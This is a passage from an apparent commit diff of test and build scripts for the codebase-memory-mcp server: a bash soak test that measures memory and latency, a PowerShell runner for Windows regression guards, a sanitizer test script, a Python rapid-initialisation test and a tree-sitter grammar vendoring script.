def handle_${i}(request):
data = Model${i}.from_request(request)
if not validate_${i}(data):
return {"error": "invalid"}
return transform_${i}(data)
def process_batch_${i}(items):
return [handle_${i}(item) for item in items]
PYEOF
cat > "$pkg/models.py" << PYEOF
class Model${i}:
def __init__(self, name, value):
self.name = name
self.value = value
@classmethod
def from_request(cls, req):
return cls(req.get("name", ""), req.get("value", 0))
def to_dict(self):
return {"name": self.name, "value": self.value}
PYEOF
cat > "$pkg/utils.py" << PYEOF
def validate_${i}(data):
return data is not None and hasattr(data, 'name')
def transform_${i}(data):
return {"result": data.name.upper(), "score": data.value * ${i}}
PYEOF
done
# Go package (40 files)
mkdir -p "$root/internal/api" "$root/internal/store" "$root/cmd"
for i in $(seq 1 20); do
cat > "$root/internal/api/handler_${i}.go" << GOEOF
package api
import "fmt"
func HandleRoute${i}(path string) (string, error) {
result := ProcessData${i}(path)
return fmt.Sprintf("route_%d: %s", ${i}, result), nil
}
func ProcessData${i}(input string) string {
return fmt.Sprintf("processed_%d_%s", ${i}, input)
}
GOEOF
cat > "$root/internal/store/repo_${i}.go" << GOEOF
package store
type Entity${i} struct {
ID int
Name string
Data map[string]interface{}
}
func FindEntity${i}(id int) (*Entity${i}, error) {
return &Entity${i}{ID: id, Name: "entity"}, nil
}
func SaveEntity${i}(e *Entity${i}) error {
return nil
}
GOEOF
done
# TypeScript (40 files)
mkdir -p "$root/frontend/src/components" "$root/frontend/src/hooks"
for i in $(seq 1 20); do
cat > "$root/frontend/src/components/Component${i}.tsx" << TSEOF
import React from 'react';
import { useData${i} } from '../hooks/useData${i}';
interface Props${i} { id: number; label: string; }
export const Component${i}: React.FC<Props${i}> = ({ id, label }) => {
const { data, loading } = useData${i}(id);
if (loading) return <div>Loading...</div>;
return <div className="comp-${i}">{label}: {JSON.stringify(data)}</div>;
};
TSEOF
cat > "$root/frontend/src/hooks/useData${i}.ts" << TSEOF
import { useState, useEffect } from 'react';
export function useData${i}(id: number) {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);
useEffect(() => {
fetch('/api/data/${i}/' + id)
.then(r => r.json())
.then(d => { setData(d); setLoading(false); });
}, [id]);
return { data, loading };
}
TSEOF
done
# Config files
cat > "$root/config.yaml" << 'YAMLEOF'
database:
host: localhost
port: 5432
pool_size: 10
server:
workers: 4
timeout: 30
YAMLEOF
cat > "$root/Dockerfile" << 'DEOF'
FROM python:3.11-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
CMD ["python", "-m", "src.main"]
DEOF
}
echo "Generating test project (~200 files)..."
generate_project "$SOAK_PROJECT"
# Init git repo (required for watcher)
git -C "$SOAK_PROJECT" init -q 2>/dev/null
git -C "$SOAK_PROJECT" add -A 2>/dev/null
git -C "$SOAK_PROJECT" -c user.email=test@test -c user.name=test commit -q -m "init" 2>/dev/null
FILE_COUNT=$(find "$SOAK_PROJECT" -type f | wc -l | tr -d ' ')
echo "OK: $FILE_COUNT files in test project"
# ── Helper: run CLI tool call and record latency ─────────────────
# Query ID counter
QUERY_ID=1
# Send a JSON-RPC tool call to the running server via its stdin pipe.
# Reads response from server stdout. Records latency.
mcp_call() {
local tool="$1"
local args="$2"
local id=$QUERY_ID
QUERY_ID=$((QUERY_ID + 1))
local req="{\"jsonrpc\":\"2.0\",\"id\":$id,\"method\":\"tools/call\",\"params\":{\"name\":\"$tool\",\"arguments\":$args}}"
local t0
t0=$(python3 -c "import time; print(int(time.time()*1000))")
# Send request to server stdin
echo "$req" >&3
# Read response (wait up to 30s)
local resp=""
if read -t 30 resp <&4 2>/dev/null; then
local t1
t1=$(python3 -c "import time; print(int(time.time()*1000))")
local dur=$((t1 - t0))
echo "$(date +%s),$tool,$dur,0" >> "$LATENCY_CSV"
else
local t1
t1=$(python3 -c "import time; print(int(time.time()*1000))")
local dur=$((t1 - t0))
echo "$(date +%s),$tool,$dur,1" >> "$LATENCY_CSV"
fi
}
# ── Helper: collect diagnostics snapshot ─────────────────────────
collect_snapshot() {
local diag_file="/tmp/cbm-diagnostics-${SERVER_PID}.json"
if [ -f "$diag_file" ]; then
python3 -c "
import json, time
d = json.load(open('$diag_file'))
# Use heap_committed if available, otherwise RSS (mimalloc may report 0 for committed)
mem = d.get('heap_committed_bytes', 0)
if mem == 0: mem = d.get('rss_bytes', 0)
print(f\"{int(time.time())},{d.get('uptime_s',0)},{d.get('rss_bytes',0)},{mem},{d.get('fd_count',0)},{d.get('query_count',0)},{d.get('query_max_us',0)}\")
" 2>/dev/null >> "$METRICS_CSV"
fi
}
# ── Phase 1: Start MCP server with diagnostics ──────────────────
echo "--- Phase 1: start server ---"
# Bidirectional pipes: fd3 = server stdin (write), fd4 = server stdout (read)
SERVER_IN=$(mktemp -u).in
SERVER_OUT=$(mktemp -u).out
mkfifo "$SERVER_IN" "$SERVER_OUT"
CBM_DIAGNOSTICS=1 "$BINARY" < "$SERVER_IN" > "$SERVER_OUT" 2>"$RESULTS_DIR/server-stderr.log" &
SERVER_PID=$!
# Open fds AFTER server starts (otherwise fifo blocks)
exec 3>"$SERVER_IN" # write to server stdin
exec 4<"$SERVER_OUT" # read from server stdout
sleep 3
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
echo "FAIL: server did not start"
exec 3>&- 4<&-
rm -f "$SERVER_IN" "$SERVER_OUT"
exit 1
fi
echo "OK: server running (pid=$SERVER_PID)"
# Send initialize handshake
echo '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"capabilities":{}}}' >&3
read -t 10 INIT_RESP <&4 || true
# ── Phase 2: Initial index ───────────────────────────────────────
echo "--- Phase 2: initial index ---"
mcp_call index_repository "{\"repo_path\":\"$SOAK_PROJECT\"}"
sleep 6 # wait for diagnostics write
collect_snapshot
# Derive project name (same logic as cbm_project_name_from_path)
PROJ_NAME=$(echo "$SOAK_PROJECT" | sed 's|^/||; s|/|-|g')
DIAG_FILE="/tmp/cbm-diagnostics-${SERVER_PID}.json"
BASELINE_RSS=$(cat "$DIAG_FILE" 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('rss_bytes',0))" 2>/dev/null || echo "0")
BASELINE_FDS=$(cat "$DIAG_FILE" 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('fd_count',0))" 2>/dev/null || echo "0")
echo "OK: baseline RSS=${BASELINE_RSS} FDs=${BASELINE_FDS}"
# ── Phase 3: Compressed workload loop ────────────────────────────
echo "--- Phase 3: workload loop (${DURATION_MIN}m) ---"
START_TIME=$(date +%s)
END_TIME=$((START_TIME + DURATION_S))
CYCLE=0
LAST_MUTATE=0
LAST_REINDEX=0
while [ "$(date +%s)" -lt "$END_TIME" ]; do
NOW=$(date +%s)
CYCLE=$((CYCLE + 1))
if [ "$CBM_SOAK_MODE" = "query-leak" ]; then
# ── #581 query-only leak mode ────────────────────────────────
# Pure read-query hammering: no mutation, no reindex — so
# cbm_mem_collect (mimalloc page return) is NEVER triggered and
# cannot sweep a query-only leak. Hammer a VARIETY of read tools to
# exercise the store-open + WAL + alloc paths the report implicates.
mcp_call search_graph "{\"project\":\"$PROJ_NAME\",\"name_pattern\":\".*Handle.*\"}"
mcp_call query_graph "{\"project\":\"$PROJ_NAME\",\"query\":\"MATCH (n) RETURN n.name LIMIT 25\"}"
mcp_call trace_path "{\"project\":\"$PROJ_NAME\",\"function_name\":\"handle_1\",\"direction\":\"both\"}"
mcp_call get_code_snippet "{\"project\":\"$PROJ_NAME\",\"qualified_name\":\"handle_1\"}"
mcp_call search_code "{\"project\":\"$PROJ_NAME\",\"pattern\":\"def \"}"
else
# ── default mode (unchanged) ─────────────────────────────────
# Queries every 2 seconds
mcp_call search_graph "{\"project\":\"$PROJ_NAME\",\"name_pattern\":\".*compute.*\"}"
mcp_call trace_path "{\"project\":\"$PROJ_NAME\",\"function_name\":\"compute\",\"direction\":\"both\"}"
# File mutation every 2 minutes
if [ $((NOW - LAST_MUTATE)) -ge 120 ]; then
echo "# mutation at cycle $CYCLE $(date)" >> "$SOAK_PROJECT/src/main.py"
git -C "$SOAK_PROJECT" add -A 2>/dev/null
git -C "$SOAK_PROJECT" -c user.email=test@test -c user.name=test commit -q -m "cycle $CYCLE" 2>/dev/null || true
LAST_MUTATE=$NOW
fi
# Full reindex every 2 minutes (compressed — simulates 15min real interval)
if [ $((NOW - LAST_REINDEX)) -ge 120 ]; then
mcp_call index_repository "{\"repo_path\":\"$SOAK_PROJECT\"}"
LAST_REINDEX=$NOW
fi
fi
# Collect diagnostics every 10 seconds (5 cycles)
if [ $((CYCLE % 5)) -eq 0 ]; then
collect_snapshot
fi
sleep 2
done
# ── Phase 4: Idle period + final snapshot ────────────────────────
echo "--- Phase 4: idle (30s) ---"
sleep 30
collect_snapshot
# Check idle CPU
IDLE_CPU=$(ps -o %cpu= -p "$SERVER_PID" 2>/dev/null | tr -d ' ' || echo "0")
echo "OK: idle CPU=${IDLE_CPU}%"
# ── Phase 5: Crash recovery test ────────────────────────────────
# Skipped in query-leak mode: crash recovery re-indexes (Phase 5 calls
# index_repository), which triggers cbm_mem_collect and would mask the #581
# query-only leak the whole run is trying to surface.
if [ "$SKIP_CRASH" != "--skip-crash-test" ] && [ "$CBM_SOAK_MODE" != "query-leak" ]; then
echo "--- Phase 5: crash recovery ---"
# Kill server mid-operation, restart, verify clean index
mcp_call index_repository "{\"repo_path\":\"$SOAK_PROJECT\"}"
kill -9 "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
exec 3>&- 4<&-
# Restart server
CBM_DIAGNOSTICS=1 "$BINARY" < "$SERVER_IN" > "$SERVER_OUT" 2>>"$RESULTS_DIR/server-stderr.log" &
SERVER_PID=$!
exec 3>"$SERVER_IN"
exec 4<"$SERVER_OUT"
sleep 3
if kill -0 "$SERVER_PID" 2>/dev/null; then
echo "OK: server restarted after kill -9"
echo '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"capabilities":{}}}' >&3
read -t 10 INIT_RESP <&4 || true
# Verify clean re-index works
mcp_call index_repository "{\"repo_path\":\"$SOAK_PROJECT\"}"
echo "OK: clean re-index after crash recovery"
else
echo "FAIL: server did not restart after kill -9"
PASS=false
fi
fi
# ── Phase 6: Shutdown + analysis ─────────────────────────────────
echo "--- Phase 6: shutdown + analysis ---"
exec 3>&- # close server stdin → EOF → clean exit
sleep 2
exec 4<&- # close stdout reader
kill "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
rm -f "$SERVER_IN" "$SERVER_OUT"
# Final diagnostics (written by thread before exit)
FINAL_DIAG="/tmp/cbm-diagnostics-${SERVER_PID}.json"
# ── Analysis ─────────────────────────────────────────────────────
PASS=true
# Check 1: Memory leak detection via RSS trend
# This is the primary leak detector on ALL platforms (including Windows
# where LeakSanitizer is unavailable). Catches both linear leaks (slope)
# and step-function leaks (first vs last comparison).
TOTAL_SAMPLES=$(awk -F, 'NR>1 && $3>0 { n++ } END { print n+0 }' "$METRICS_CSV")
MAX_RSS=$(awk -F, 'NR>1 && $3>0 { if ($3>max) max=$3 } END { printf "%.0f", max/1024/1024 }' "$METRICS_CSV")
FIRST_RSS=$(awk -F, 'NR==2 && $3>0 { printf "%.0f", $3/1024/1024 }' "$METRICS_CSV")
LAST_RSS=$(awk -F, '$3>0 { last=$3 } END { printf "%.0f", last/1024/1024 }' "$METRICS_CSV")
echo "RSS: first=${FIRST_RSS}MB last=${LAST_RSS}MB max=${MAX_RSS}MB (${TOTAL_SAMPLES} samples)" | tee -a "$SUMMARY"
# Absolute ceiling — catches catastrophic leaks on any run length
if [ "${MAX_RSS:-0}" -gt 200 ] 2>/dev/null; then
echo "FAIL: RSS ${MAX_RSS}MB > 200MB ceiling" | tee -a "$SUMMARY"
PASS=false
fi
# Slope — informational for short runs, enforced only for runs >= 30 min
# (10-min runs have too few post-warmup samples for reliable regression)
RSS_SLOPE=$(awk -F, -v skip="$((TOTAL_SAMPLES / 5))" '
NR>1 && $3>0 {
row++
if (row <= skip) next
n++; x=$1; y=$3; sx+=x; sy+=y; sxx+=x*x; sxy+=x*y
}
END {
if (n<5) { print 0; exit }
slope = (n*sxy - sx*sy) / (n*sxx - sx*sx)
printf "%.0f", slope * 3600 / 1024
}' "$METRICS_CSV")
echo "RSS slope (post-warmup): ${RSS_SLOPE} KB/hr" | tee -a "$SUMMARY"
if [ "$DURATION_MIN" -ge 30 ] && [ "${RSS_SLOPE:-0}" -gt 500 ] 2>/dev/null; then
echo "FAIL: RSS slope ${RSS_SLOPE} KB/hr > 500 KB/hr" | tee -a "$SUMMARY"
PASS=false
fi
# Check 1b: RSS ratio (last / first) — catches step-function leaks
if [ "${FIRST_RSS:-0}" -gt 0 ] 2>/dev/null; then
RSS_RATIO=$(awk "BEGIN { printf \"%.1f\", ${LAST_RSS} / ${FIRST_RSS} }")
echo "RSS ratio (last/first): ${RSS_RATIO}x" | tee -a "$SUMMARY"
if awk "BEGIN { exit (${LAST_RSS} / ${FIRST_RSS} > 3.0) ? 0 : 1 }" 2>/dev/null; then
echo "FAIL: RSS grew ${RSS_RATIO}x (last=${LAST_RSS}MB vs first=${FIRST_RSS}MB)" | tee -a "$SUMMARY"
PASS=false
fi
fi
# Check 2: FD drift
FD_DRIFT=$(awk -F, 'NR>1 && $5>0 { if (!first) first=$5; last=$5 } END { print last-first }' "$METRICS_CSV")
echo "FD drift: ${FD_DRIFT:-0}" | tee -a "$SUMMARY"
if [ "${FD_DRIFT:-0}" -gt 20 ] 2>/dev/null; then
echo "FAIL: FD drift ${FD_DRIFT} > 20" | tee -a "$SUMMARY"
PASS=false
fi
# Check 3: Idle CPU
IDLE_INT=$(echo "$IDLE_CPU" | cut -d. -f1)
echo "Idle CPU: ${IDLE_CPU}%" | tee -a "$SUMMARY"
if [ "${IDLE_INT:-0}" -gt 5 ] 2>/dev/null; then
echo "FAIL: idle CPU ${IDLE_CPU}% > 5%" | tee -a "$SUMMARY"
PASS=false
fi
# Check 4: Max query latency (exclude index_repository — indexing is legitimately slow)
MAX_LATENCY=$(awk -F, 'NR>1 && $2!="index_repository" { if ($3>max) max=$3 } END { print max+0 }' "$LATENCY_CSV")
MAX_INDEX=$(awk -F, 'NR>1 && $2=="index_repository" { if ($3>max) max=$3 } END { print max+0 }' "$LATENCY_CSV")
echo "Max query latency: ${MAX_LATENCY}ms (index: ${MAX_INDEX}ms)" | tee -a "$SUMMARY"
# 60s threshold — MSYS2/Wine adds significant overhead to all operations
if [ "${MAX_LATENCY:-0}" -gt 60000 ] 2>/dev/null; then
echo "FAIL: max query latency ${MAX_LATENCY}ms > 60s" | tee -a "$SUMMARY"
PASS=false
fi
# Check 5: Query count (sanity — should have many)
TOTAL_QUERIES=$(awk -F, 'NR>1 { n++ } END { print n+0 }' "$LATENCY_CSV")
echo "Total queries: $TOTAL_QUERIES" | tee -a "$SUMMARY"
# ── Cleanup ──────────────────────────────────────────────────────
rm -rf "$SOAK_PROJECT"
echo ""
if $PASS; then
echo "=== soak-test: PASSED ===" | tee -a "$SUMMARY"
else
echo "=== soak-test: FAILED ===" | tee -a "$SUMMARY"
exit 1
fi
+169
View File
@@ -0,0 +1,169 @@
<#
.SYNOPSIS
Run the native-Windows product-surface test suite for codebase-memory-mcp.
.DESCRIPTION
Builds the product binary (build/c/codebase-memory-mcp.exe) if it is not
already present, then runs the deterministic Windows integration tests under
tests/windows/ against a real codebase-memory-mcp.exe (real stdio / CLI /
HTTP UI, real SQLite DB).
Two categories of test:
GUARDS - regression guards for Windows bugs already fixed on main.
They must stay GREEN (exit 0); a RED (exit 1) means the fix
regressed and fails this runner.
* test_non_ascii_path.py guards #636/#357 (fixed by #700)
* test_non_ascii_cache_dump.py guards #996 (writer cbm_fopen)
* test_hook_augment.py guards #618 (fixed by #619)
* test_ui_drive_listing.py guards #548 (roots field)
* test_cli_non_ascii_arg.py guards #423/#20 (wide-argv main())
KNOWN REDS - genuine, still-open Windows bugs reproduced at the product
surface. They are EXPECTED to be RED (exit 1) and are opt-in
(never gate CI). If one turns GREEN the underlying bug was
fixed and it should be promoted to a guard.
* (none currently - test_cli_non_ascii_arg.py was promoted to a
guard when the wide-argv fix for #423/#20 landed)
Determinism: the runner sets CBM_INDEX_SUPERVISOR=0 so the path / hook / drive
guards index in-process (the pass-level readers under test, e.g. #700's cbm_fopen
routing, run in-process either way). The non-ASCII CLI guard is the exception - it
drops that override to cross the real supervisor -> worker spawn, where the second
half of #423/#20 lives (CreateProcessW delivering the wide command line).
On native Windows the MinGW/LLVM toolchain ships no libasan/libubsan, so the
build disables sanitizers (SANITIZE=). Where the toolchain provides
AddressSanitizer/UBSan (Linux containers, WSL), prefer scripts/test.sh.
.PARAMETER Binary
Path to an existing codebase-memory-mcp.exe. If omitted, the script builds it
(target selected by -Target) into build/c/.
.PARAMETER Target
Makefile.cbm target used when building: 'cbm-with-ui' (default; needed for the
drive-picker guard's embedded HTTP UI) or 'cbm' (no UI - the drive guard then
reports a precondition and is skipped).
.PARAMETER GuardsOnly
Run only the green guards (the CI gate). Skips the opt-in known-red repros.
.PARAMETER Make
Path to GNU make (default: 'make' on PATH; MSYS2 ships it at
C:\msys64\usr\bin\make.exe).
.EXAMPLE
pwsh -File scripts/test-windows.ps1
.EXAMPLE
pwsh -File scripts/test-windows.ps1 -GuardsOnly -Binary build\c\codebase-memory-mcp.exe
#>
[CmdletBinding()]
param(
[string]$Binary,
[ValidateSet("cbm-with-ui", "cbm")]
[string]$Target = "cbm-with-ui",
[switch]$GuardsOnly,
[string]$Make = "make"
)
$ErrorActionPreference = "Stop"
$repoRoot = Split-Path -Parent $PSScriptRoot
Set-Location $repoRoot
$python = (Get-Command python -ErrorAction SilentlyContinue)
if (-not $python) { $python = (Get-Command py -ErrorAction SilentlyContinue) }
if (-not $python) { throw "Python 3 is required to run the Windows tests." }
$py = $python.Source
# A writable Windows temp dir that GNU make forwards to the native gcc. MSYS2
# strips TMP/TEMP from the environment it hands native children, so pass them as
# make command-line variables (make exports those to recipe processes).
$tmp = $env:TEMP
if (-not $tmp) { $tmp = "$env:USERPROFILE\AppData\Local\Temp" }
function Resolve-Binary {
param([string]$Explicit)
if ($Explicit) { return (Resolve-Path $Explicit).Path }
$built = Join-Path $repoRoot "build\c\codebase-memory-mcp.exe"
if (Test-Path $built) { return $built }
Write-Host "Building $Target via Makefile.cbm ..." -ForegroundColor Cyan
& $Make "-j" "-f" "Makefile.cbm" $Target "SANITIZE=" "TMP=$tmp" "TEMP=$tmp" "TMPDIR=$tmp"
if ($LASTEXITCODE -ne 0) { throw "build failed (exit $LASTEXITCODE)" }
if (-not (Test-Path $built)) { throw "binary not produced at $built" }
return $built
}
$bin = Resolve-Binary -Explicit $Binary
Write-Host "Binary: $bin" -ForegroundColor Green
$env:PYTHONUTF8 = "1" # encode argv/stdio as UTF-8
$env:CBM_INDEX_SUPERVISOR = "0" # in-process indexing (see .DESCRIPTION)
# Green regression guards - must stay GREEN (exit 0). RED (exit 1) = the fix for
# the referenced issue regressed. The drive-picker guard needs the embedded HTTP
# UI (build target cbm-with-ui); against a non-UI binary it reports a precondition
# (exit 2) and is skipped rather than failed.
$guards = @(
"tests\windows\test_non_ascii_path.py",
"tests\windows\test_non_ascii_cache_dump.py",
"tests\windows\test_hook_augment.py",
"tests\windows\test_ui_drive_listing.py",
"tests\windows\test_cli_non_ascii_arg.py"
)
# Opt-in known-red repros - EXPECTED red (exit 1); never gate CI. Currently empty:
# test_cli_non_ascii_arg.py was promoted to a guard when #423/#20's wide-argv fix landed.
$knownReds = @()
$guardFailures = @()
$guardSkips = @()
$fixedKeepers = @()
Write-Host "`n--- Green guards ---" -ForegroundColor Cyan
foreach ($t in $guards) {
Write-Host "`n=== $t ===" -ForegroundColor Cyan
& $py $t $bin
$code = $LASTEXITCODE
if ($code -eq 0) {
Write-Host "GREEN ($t)" -ForegroundColor Green
} elseif ($code -eq 1) {
Write-Host "RED ($t) - REGRESSION: a fixed Windows bug is broken again" -ForegroundColor Red
$guardFailures += $t
} else {
Write-Host "PRECONDITION ($t) exit=$code - skipped (see message above)" -ForegroundColor Yellow
$guardSkips += $t
}
}
if (-not $GuardsOnly) {
Write-Host "`n--- Known reds (opt-in, expected red) ---" -ForegroundColor Cyan
foreach ($t in $knownReds) {
Write-Host "`n=== $t ===" -ForegroundColor Cyan
& $py $t $bin
$code = $LASTEXITCODE
if ($code -eq 1) {
Write-Host "RED ($t) - expected; the underlying Windows bug is still open" -ForegroundColor DarkYellow
} elseif ($code -eq 0) {
Write-Host "GREEN ($t) - the bug appears FIXED; promote this to a guard" -ForegroundColor Green
$fixedKeepers += $t
} else {
Write-Host "PRECONDITION ($t) exit=$code - skipped (see message above)" -ForegroundColor Yellow
}
}
}
Write-Host ""
if ($guardSkips.Count -gt 0) {
Write-Host ("Guards skipped (precondition): {0} - e.g. the drive-picker guard " -f $guardSkips.Count) -ForegroundColor Yellow
Write-Host "needs a UI build (-Target cbm-with-ui, the default)." -ForegroundColor Yellow
}
if ($fixedKeepers.Count -gt 0) {
Write-Host ("Known-red repros that are now GREEN (promote to guards): {0}" -f ($fixedKeepers -join ", ")) -ForegroundColor Green
}
if ($guardFailures.Count -gt 0) {
Write-Host ("REGRESSION: {0} green guard(s) went red: {1}" -f $guardFailures.Count, ($guardFailures -join ", ")) -ForegroundColor Red
Write-Host "A previously-fixed Windows bug is broken again (see the guard's docstring and its referenced issue)." -ForegroundColor Red
exit 1
}
Write-Host "All Windows green guards passed." -ForegroundColor Green
exit 0
+90
View File
@@ -0,0 +1,90 @@
#!/usr/bin/env bash
# test.sh — Clean build + run all C tests with ASan + UBSan.
#
# Usage:
# scripts/test.sh # Auto-detect everything
# scripts/test.sh --arch x86_64 # Force x86_64 build
# scripts/test.sh CC=gcc-14 CXX=g++-14 # Override compiler
#
# This script is the SINGLE source of truth for running tests.
# Used identically in local development and CI workflows.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
# Parse --arch flag before sourcing env.sh
for arg in "$@"; do
case "$arg" in
--arch) :;; # next arg is the value, handled below
arm64|x86_64)
# Check if previous arg was --arch
if [[ "${prev_arg:-}" == "--arch" ]]; then
export CBM_ARCH="$arg"
fi
;;
esac
prev_arg="$arg"
done
# Also support --arch=value
for arg in "$@"; do
case "$arg" in
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
esac
done
# shellcheck source=env.sh
source "$ROOT/scripts/env.sh"
# Forward CC/CXX and collect make-passthrough args
MAKE_ARGS=""
for arg in "$@"; do
case "$arg" in
CC=*|CXX=*) export "${arg}" ;;
--arch|--arch=*) ;; # already handled
arm64|x86_64) ;; # already handled
*=*) MAKE_ARGS="$MAKE_ARGS $arg" ;; # forward any VAR=VAL to make
esac
done
print_env "test.sh"
# Verify compiler supports target arch
verify_compiler "$CC"
# Step 1: Clean
scripts/clean.sh
# Step 2 + 3: Build and run tests (Makefile applies $ARCHFLAGS on macOS)
make -j"$NPROC" -f Makefile.cbm test $MAKE_ARGS
# Step 4: C++ large-TU index-hang regression guard (#410). Runs the PROD binary
# in a subprocess with a wall-clock timeout — a hang must fail, not block the run.
# Opt-in via CBM_RUN_HANG_TEST=1 (it needs the prod binary, which the ASan unit
# run above does not build). Skipped by default so the fast unit run stays fast.
if [ "${CBM_RUN_HANG_TEST:-0}" = "1" ]; then
echo "=== Step 4: C++ index-hang regression (#410) ==="
bash "$ROOT/tests/test_cpp_index_hang.sh"
fi
# Step 5: Parent-death watchdog regression (#406/#407). Builds the prod stdio
# binary and verifies it self-exits when its launching parent is killed.
echo "=== Step 5: parent-death watchdog regression (#406/#407) ==="
make -j"$NPROC" -f Makefile.cbm cbm $MAKE_ARGS
bash "$ROOT/tests/test_parent_watchdog.sh"
# Step 5b: worker-mode parent-death watchdog (#845). A supervised index worker
# (`cli --index-worker …`) whose supervisor dies must self-exit instead of
# indexing on as an orphan. Reuses the prod binary built in Step 5.
echo "=== Step 5b: worker-mode watchdog regression (#845) ==="
bash "$ROOT/tests/test_worker_watchdog.sh"
# Step 6: security-strings URL allow-list regression. The MSYS2 CLANG64 toolchain
# bakes its package-tracker URL into the static Windows .exe; the binary string
# audit must allow-list it (Windows-only — Linux smoke never saw it).
echo "=== Step 6: security-strings allow-list regression ==="
bash "$ROOT/tests/test_security_strings_allowlist.sh"
echo "=== All tests passed ==="
+98
View File
@@ -0,0 +1,98 @@
#!/usr/bin/env python3
"""Integration test for the poll/getline FILE* buffering fix.
Spawns the MCP server binary, sends initialize + notifications/initialized +
tools/list all at once (no delays), and asserts that the tools/list response
arrives within 5 seconds.
Usage:
python3 scripts/test_mcp_rapid_init.py [/path/to/binary]
Exit codes:
0 - PASS
1 - FAIL
"""
import subprocess
import sys
import os
TIMEOUT_S = 5
MESSAGES = (
b'{"jsonrpc":"2.0","id":1,"method":"initialize",'
b'"params":{"protocolVersion":"2025-11-25","capabilities":{}}}\n'
b'{"jsonrpc":"2.0","method":"notifications/initialized"}\n'
b'{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}\n'
)
def main():
if len(sys.argv) >= 2:
binary = sys.argv[1]
else:
# Default: look for build artifact relative to this script's directory
script_dir = os.path.dirname(os.path.abspath(__file__))
repo_root = os.path.dirname(script_dir)
binary = os.path.join(repo_root, "build", "c", "codebase-memory-mcp")
if not os.path.isfile(binary):
print(f"FAIL: binary not found at {binary}")
sys.exit(1)
if not os.access(binary, os.X_OK):
print(f"FAIL: binary not executable: {binary}")
sys.exit(1)
proc = subprocess.Popen(
[binary],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
)
try:
# Write all 3 messages in one call and close stdin to signal EOF
stdout_data, _ = proc.communicate(input=MESSAGES, timeout=TIMEOUT_S)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait()
print(
f"FAIL: server did not respond within {TIMEOUT_S}s "
f"(poll/getline buffering bug not fixed)"
)
sys.exit(1)
output = stdout_data.decode("utf-8", errors="replace")
# Expect exactly 2 JSON responses: id:1 (initialize) and id:2 (tools/list).
# notifications/initialized has no id and produces no response.
lines = [ln.strip() for ln in output.splitlines() if ln.strip()]
import json as _json
json_lines = []
for ln in lines:
try:
json_lines.append(_json.loads(ln))
except _json.JSONDecodeError:
pass
ids = {obj.get("id") for obj in json_lines if "id" in obj}
if 1 not in ids:
print("FAIL: missing initialize response (id:1) in server output")
print(f"Server output was:\n{output!r}")
sys.exit(1)
if 2 not in ids:
print("FAIL: missing tools/list response (id:2) in server output")
print(f"Server output was:\n{output!r}")
sys.exit(1)
if "tools" not in output:
print("FAIL: tools/list response body missing 'tools' key")
print(f"Server output was:\n{output!r}")
sys.exit(1)
print("PASS")
sys.exit(0)
if __name__ == "__main__":
main()
+90
View File
@@ -0,0 +1,90 @@
#!/usr/bin/env bash
# vendor-grammar.sh: Vendor a single tree-sitter grammar into internal/cbm/vendored/grammars/<name>/
# Usage: ./scripts/vendor-grammar.sh <repo_url> <name> [subdir]
# repo_url: GitHub repository URL (e.g., https://github.com/tree-sitter/tree-sitter-json)
# name: Target directory name (e.g., json)
# subdir: Optional subdirectory within repo containing src/ (e.g., "fsharp" for monorepo grammars)
set -euo pipefail
REPO_URL="$1"
NAME="$2"
SUBDIR="${3:-}"
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
PROJECT_DIR="$(dirname "$SCRIPT_DIR")"
GRAMMAR_DIR="$PROJECT_DIR/internal/cbm/vendored/grammars/$NAME"
TMPDIR="$(mktemp -d)"
trap 'rm -rf "$TMPDIR"' EXIT
echo "Vendoring $NAME from $REPO_URL..."
git clone --depth 1 "$REPO_URL" "$TMPDIR/repo" 2>/dev/null
SRC_DIR="$TMPDIR/repo/src"
if [ -n "$SUBDIR" ]; then
SRC_DIR="$TMPDIR/repo/$SUBDIR/src"
fi
if [ ! -f "$SRC_DIR/parser.c" ]; then
echo "ERROR: $SRC_DIR/parser.c not found" >&2
exit 1
fi
mkdir -p "$GRAMMAR_DIR/tree_sitter"
cp "$SRC_DIR/parser.c" "$GRAMMAR_DIR/"
if [ -f "$SRC_DIR/scanner.c" ]; then
cp "$SRC_DIR/scanner.c" "$GRAMMAR_DIR/"
fi
if [ -f "$SRC_DIR/scanner.cc" ]; then
echo "WARNING: $NAME has C++ scanner (scanner.cc) — needs special handling" >&2
fi
# Copy tree_sitter headers
if [ -d "$SRC_DIR/tree_sitter" ]; then
cp "$SRC_DIR/tree_sitter/"*.h "$GRAMMAR_DIR/tree_sitter/" 2>/dev/null || true
fi
# Copy any extra headers (.h, .inc files) used by scanners
# Examples: tag.h (Vue/Svelte/Astro), unicode.h (PureScript/Typst),
# TokenTree.h/.inc (VHDL)
for f in "$SRC_DIR"/*.h "$SRC_DIR"/*.inc; do
[ -f "$f" ] && cp "$f" "$GRAMMAR_DIR/"
done
# Copy common/ subdirectory if present (e.g., F# scanner uses common/scanner.h)
if [ -d "$SRC_DIR/common" ]; then
cp -r "$SRC_DIR/common" "$GRAMMAR_DIR/"
fi
# Copy LICENSE file from upstream repo
REPO_ROOT="$TMPDIR/repo"
if [ -n "$SUBDIR" ]; then
# For monorepos, check subdir first, then repo root
if [ -f "$REPO_ROOT/$SUBDIR/LICENSE" ]; then
cp "$REPO_ROOT/$SUBDIR/LICENSE" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/LICENSE" ]; then
cp "$REPO_ROOT/LICENSE" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/LICENSE.md" ]; then
cp "$REPO_ROOT/LICENSE.md" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/COPYING" ]; then
